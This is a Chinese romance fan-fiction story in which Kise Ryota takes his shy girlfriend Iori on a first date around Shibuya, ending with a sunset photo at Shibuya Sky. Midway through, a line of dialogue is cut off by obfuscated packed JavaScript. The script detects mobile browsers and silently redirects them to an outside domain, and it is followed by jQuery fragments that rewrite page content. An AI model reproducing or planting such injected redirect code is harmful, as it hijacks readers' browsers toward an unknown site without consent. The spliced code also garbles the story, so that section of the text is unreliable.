虽然很突然，但我有了男朋友。
这只是我的臆想——也有这样的可能性。毕竟你看，一切都没有发生任何变化。
首先是一如既往的通话：
“好无聊，要不要一起出去玩？”
其次是一如既往的回复：
“好啊，要去哪里呢？”
再然后是没有区别的称呼：
“伊织有想去的地方吗？”
“没有特别想去的，黄濑同学决定吧。”
“游乐园怎么样？约会的话果然还是得去这种地方！”
“……约会。”
还是有变化的！原来不是梦！
“啊……不过在这种天气下排队感觉有点可怕，现在又是假期，人多起来的话简直就是地狱，还是换一个好了。”
“约会。”
“是约会哦？怎么了？”
“？！”
无意识的碎碎念被对方听见，我慌张地回复：“没、没什么，感觉有点紧张。”
他笑了一声：“毕竟是初次约会嘛。”
盘旋于心中的所有猜疑被这个简短的单词一举击碎。在他看不见的地方，我沉默地捂住了泛红的脸颊。
——是的，我好像是有了男朋友来着。
最终敲定的计划是去涩谷逛街。
从家附近的惠比寿到涩谷只有短短一站，电车到站时，我依然处于想要见面与不想见面的纠结之中。
走出车厢，再一次迎面感受到属于夏日的闷热。而后，并不需要我刻意去做出“寻找”的举动，黄濑凉太的身影就出现在了视线范围之中。
这句话有两层含义。
熙攘的人群中，他无论身高发色还是脸庞都过于显眼；以及，他似乎能在车门打开的瞬间就精确地找寻到我。
仿佛永远都活力充沛的男生毫不顾忌周围的视线，顷刻间靠近——是用跑的。我抬起头，茫然地和他对上视线。
白色T恤和浅蓝色的衬衫，宽松休闲的格纹长裤，是清爽干净的日常打扮。
日常。
原本横亘在我们之间的距离感轻而易举地溶解消散。不是同学、友人、粉丝，而是可以互相分享生活的恋人关系。
“好久不见！虽然也只有四天……还是三天来着？但总觉得过了很久！”
“啊、嗯。”
“在车上本来想好了很多要说的话，但多过头了现在反而不知道该先说什么了。”
“是吗。”
“伊织。”
“在。”
“为什么一直低着头？”
“……”
黄濑凉太弯下腰，凑近我的脸。
被鬓发遮挡的狭窄视野里，金色的发梢伴随着体温亦或是呼吸之类的存在显现，那张被放大的脸上是纯然的探究和困惑。
暌违已久的慌乱和羞耻在加速的心跳中催生出某种应激反应。我猛然后退，鞋跟却在凸起的防滑槽上绊住，于是身体失去平衡往后仰倒——
那个瞬间过于短暂，脑海中的想法甚至没来得及成形。
我完全不认为自己会摔倒。
但当预想应验，被对方伸手拉入怀抱中时，从鼻尖开始蔓延的气息还是没由来地让我感到一阵心慌，甚至是心悸。
鼻梁猝不及防撞到对方的胸膛上。在漫长的闷痛中，我艰难稳住平衡，撑着他的胸口站直，掌心下的皮肤透过柔软的布料传来温热的触感。
啊，是肌肉。
好像比想象中软一点……
不对！不是感叹这个的时候！
我收回手，即刻立正，后退一步，郑重地做了个标准的九十度鞠躬。
“非常抱歉！！！”
黄濑还保持着伸手的动作，那双微微睁大的眼中有转瞬即逝的错愕。他往前缩短距离，站在我身侧，挡住了路人好奇的视线。
“总觉得比之前更怕我了啊。”
刻意放轻的尾音从左前方落入耳中，我从略带苦恼的笑声中听出几分委屈的意味。
“我在想……那个时候，伊织不会是因为不想让我伤心才勉强答应的吧。所以现在既害怕又困扰。”
他怎么会那样想？！
“不是的！”我终于抬头，抓住他的衬衫下摆，急切地反驳这个猜测。
脱口而出的否定之后是卡壳，在沉默尴尬的对视中，他歪头看我，眉眼弯弯，颇为耐心地发出疑问：“那是因为什么？”
我突然意识到他刚才的委屈大概也许应该只是装出来的。
“是……是因为……”
这个人得寸进尺地靠近，安静地等待我的回答，单边的银色耳环闪闪发光。我转头看向另一边。
“嗯？”他带着微笑，似乎在奇怪我为什么不继续说下去。
“是因为……”
咫尺间，我从他肩侧嗅到熟悉的柠檬味道。
“是……”
这次也说不下去了。
我自暴自弃地抬手，彻底放弃抵抗，重新投入他的怀抱之中，无声收紧手臂表达我的不满。
和刚才不同，他的身体有些僵硬。
“抱歉。”黄濑凉太抬起手，补全了这个单方面的拥抱，低声道歉，“并不是要故意捉弄你啦，不安也是真的。因为感觉只有我一个人在心动，稍微有点挫败。”
我偏头，贴近他的胸膛。那颗鲜活又年轻的心脏在躯体之中不知疲倦地跃动，急促的频率毫不掩饰地传达出同样含义的话语。
不是谎言。
我没有说话，沉默地抓住他搭在我腰间的其中一只手，放在了脸侧。
这样炎热的天气里，掌心的温度应该同样炽热到足以融化冰块，可落到脸颊上时却是微凉的触感。
皮肤接触的时刻，他似乎愣住了，手指本能地蜷缩，然后一动不动地停下。
“不是一个人。”我说。
声音埋在布料中变得模糊又沉闷。
“……是一样的。”
脑海中风暴般激烈的想法摇摆到最后，只剩下这句省略了主语和宾语后变得模棱两可的话。
我听见一声沉闷的应答，便于默许中任性地延长了这个拥抱。
在公共场合做这种事情多少还是超出了承受阈值，我艰难地维持最后一丝理智，缓慢松手，想要退开，却没能成功挣脱。
“黄濑同学，大家好像在看这边。”我出声提醒。
他这才迟滞地反应过来放开我，略带茫然地眨眼，居然也有些脸红了。
“……感觉比想象中还要刺激一点。”黄濑凉太单手捂着颈侧，发出意味不明的感叹。
的确如此。
我在急促的心跳声中如是想。
拥抱会让心变得脆弱，脆弱到和冰块一样被能够轻易被体温融化。
他呼出一口气，好像终于从这鲜少的陌生心绪中抽离出来，动作自然地牵住了我的手。
“不过是不是有点不公平？刚才喊的还是‘黄濑同学’吧？稍微也想听你叫一下我的名字。”普通的请求在他的口中总会微妙地变为撒娇。
我呆滞地跟上他的脚步，所有注意力都集中在那只与指腹贴合的、干燥而温暖的手掌上。
……那个名字无论如何都没办法轻易念出口了。
“凉……了解（ryoukai）。”
“是凉太（ryota）——”
“遵命，黄濑先生。”
“变得更疏远了啊！”
*
走出车站后，我们仿佛初次步入大都会的游客那样在忠犬八公的雕塑旁拍了照，然后一起逛了附近的饰品店。
黄濑凉太放下货架上的耳坠，大方地侧头展示他的左耳，回应了我的好奇心：“这个是国中的时候打的，因为太痛，最后只打了一边就放弃了。”
已经能想象出那个画面了。
他兴致勃勃地在展台间不停穿梭，我没有带饰品的习惯，就只是站在旁边看他转来转去。
直到他拿着三色堇形状的耳夹转头看向我，眼中闪烁着期待的光亮：“感觉这个会很适合你。”
“诶？怎么是在给我选？”
“因为想给可爱的女朋友送一份礼物。”
确实很好看，纯银底座上的紫色花朵在灯光下折射出亮晶晶的碎光，价格是同样好看的四位数。
我说：“但是被头发挡住就看不见了。”
他又拿起另外一条镂空的樱花吊坠，单片的花瓣上镶嵌着晶莹剔透的天然石：“那这个呢？”
这个也很好看，价格更是惊人的五位数。
我犹豫地说：“饰品戴在身上很容易丢哎，如果是礼物的话，我应该会很难过。”
“那样的话再买一份不就好了。”
这又是哪里来的霸道御曹司啦！
“不要了，带这种显眼的首饰是违反风纪的，说不定会被没收。”我将他手里的吊坠摆回货架上，推着他的背离开了这家店。
“诶——”
黄濑凉太拉长了音节，脚下使力，像是散步途中突然有了自己想法的叛逆柴犬一样停在原地。
透过面前这堵高大的人墙，我隐约瞥见门外迎面走来新的客人，有些焦急地催促起他：“快走啦，不要挡在门口——”
接下来体会了一日限定的现充生活：午饭是寿喜烧自助、然后逛了涩谷109、打卡网红喫茶店、最后还去吃了奶油超多的可丽饼。
我坐在甜品店里，感受着久违的冷气，无精打采地趴在桌上回复体力。
而对面的黄濑凉太不愧是运动系的完美体现，依然是精力充沛的模样。玻璃窗外的光线照亮半边侧脸，他专注地盯着手机屏幕，过分纤长的眼睫随着眨眼的动作时而投下浅淡的阴影。
我就这样枕着手臂光明正大地看他。
“累了？”
他终于将注意力分给我，温暖的手掌落到我被空调吹得冰凉的头发上，声音轻得过分。
我阖上眼，用鼻音做出否定。
“那想去涩谷SKY看日落吗？”他又问。
“感觉像来旅游的外国游客。”我说。
“对美好事物的探求心可不分国界。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15227977|165032||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“但是听说黄昏时段的票很难买，要提前很久预约。”
“刚刚已经买到了。”他将手机屏幕转向我，聊天记录停留在二维码的图片上。
“就不担心我说不想去吗。”
“我有绝对不会被拒绝的自信。”
好吧，长得好看就是可以为所欲为。
我抬起眼，露出怀疑的眼神：“这个不会是那种高价转卖的门票吧？”
“才没有，是从刚刚吵架分手的情侣那边买来的啦。”
“……好悲伤的门票。”
*
这之后顺利入场，又排了很久的队，才登上热门的露天观景台。人确实很多，好在高空的风驱散了盛夏的闷热。
黄濑凉太开始反思，果然下次还是选安静的地方约会好了。女朋友不喜欢热闹，还怕生，从入场开始就一言不发。
他从低处繁华的十字街道收回目光，转头。
日落时分的天空从遥远的天际开始，被分割成火焰般的赤金与雾霭般的蓝。温柔的茜色中，她的眼瞳被染上和他相似的颜色。
那张平静的脸庞上空无一物。
熟悉的古怪情绪从裂隙开始再度泛滥，黄濑凉太下意识握住了女孩子垂在身侧的手指。
他们是截然不同的类型。
他无法忍受孤独与无趣，愿意毫无保留地展露自己的爱意，因而过分自我；可她却像离群索居的小动物，能够轻松剥离多余的情感，只余下对于生存的基本需求。
换言之，对宫城伊织来说，名为黄濑凉太的人是可有可无的存在。
——这绝对不行！
“看！东京塔！”他出声打破沉默。
掌心的手指动了动，她似乎本能地想要抽手，却在脱离的前一刻卸力，轻轻回握。
“难道是第一次来东京旅游吗？”这样吐槽着的她倒是顺从地看往他所指的方位，伫立在大楼间的高塔于落日中呈现出醒目的鲜红。
言下之意是大惊小怪。
“在这么高的地方看确实是第一次啦——”
幼稚的男孩拉起女朋友的手，挤进上行的观景电梯。顶层宽阔的露台上熙熙攘攘，透明的玻璃防护墙边围着许多拍照的游客。
“不好意思，打扰一下。”一对外国的情侣拦住他们，用不太熟练的日语说，“可以麻烦你们帮忙拍个照吗？”
身旁的女朋友悄悄收紧手指，露出那种熟悉的为难表情，求助般地望了过来。而他扬起灿烂的笑容，熟练地接住对方递来的相机：“当然可以！”
背景是绚烂的夕阳和逐渐亮起灯光的城市，幸福地依偎在一起的情侣被定格在笑起来的瞬间。
“哇，这个构图和光线好厉害！是专业的吗？”女生看着相机里的照片，露出惊叹的表情。
“只是有稍微了解过一点。”他保持着笑容礼貌回应。
“你们也是情侣吗？”对方又问。
黄濑凉太没有立刻回答这个问题，而是低头看向身边的女孩子，好像要将主动权尽数交还。于是他在晚风中如愿地听到了属于她的答案。
“是的。”小声却笃定。
如果他有尾巴，这一刻绝对已经欢快地摇了起来。
情侣中的女方热情地举起相机：“那作为答谢，也给你们拍张合照吧？”
“谢谢！那就拜托了！”
被带到玻璃墙边时，她的表情还有些犹豫：“真的要拍吗？”
“没有照片的话就好像什么都没留下，会感觉有些可惜。”
“可是……”她回头看了一眼背后，面色凝重，“镜头好可怕。”
原来是害怕镜头。黄濑凉太露出了然的神色，宽慰道：“那就不看那边，我们一起看东京塔，只拍背影。”
“好吧。”
得到答复后，他回头比了个OK的手势。
从云层间露出的太阳余烬仍旧刺眼，在这几乎要燃烧起来的赤橙里，跃动的光亮染红被风扬起的黑发。
两人肩并肩站着，身后的影子被拉得很长，同样隔着一段微小的距离。
失去言语之后，能被称之为联系的存在似乎只剩下手中的温度，如果不握紧就会从指缝间消失。这一刻，他突然有种强烈的想要触碰对方的冲动。
这样才能确认不是幻想。
于是他遵从本心地抬起手，按住她的肩膀，然后俯身靠近。
咔嚓——
画面被时间的魔法暂停在刹那。
*
“为什么要突然做这种事情啊！”我凑在相机旁，看着这张失败的照片，大声抗议，“我奇怪的表情都被拍下来了！”
“可是、只是亲一下头发都不行吗——”
“也不是不行、但太突然了，我都吓得转头了——”
旁边的情侣善解人意地提议道：“要重拍一张吗？”
“不用。”黄濑凉太自作主张地拒绝，又对我说，“很可爱啊！之后我会把这张照片设成手机壁纸的。”
“绝对不行！我要把它删掉！”
“诶——”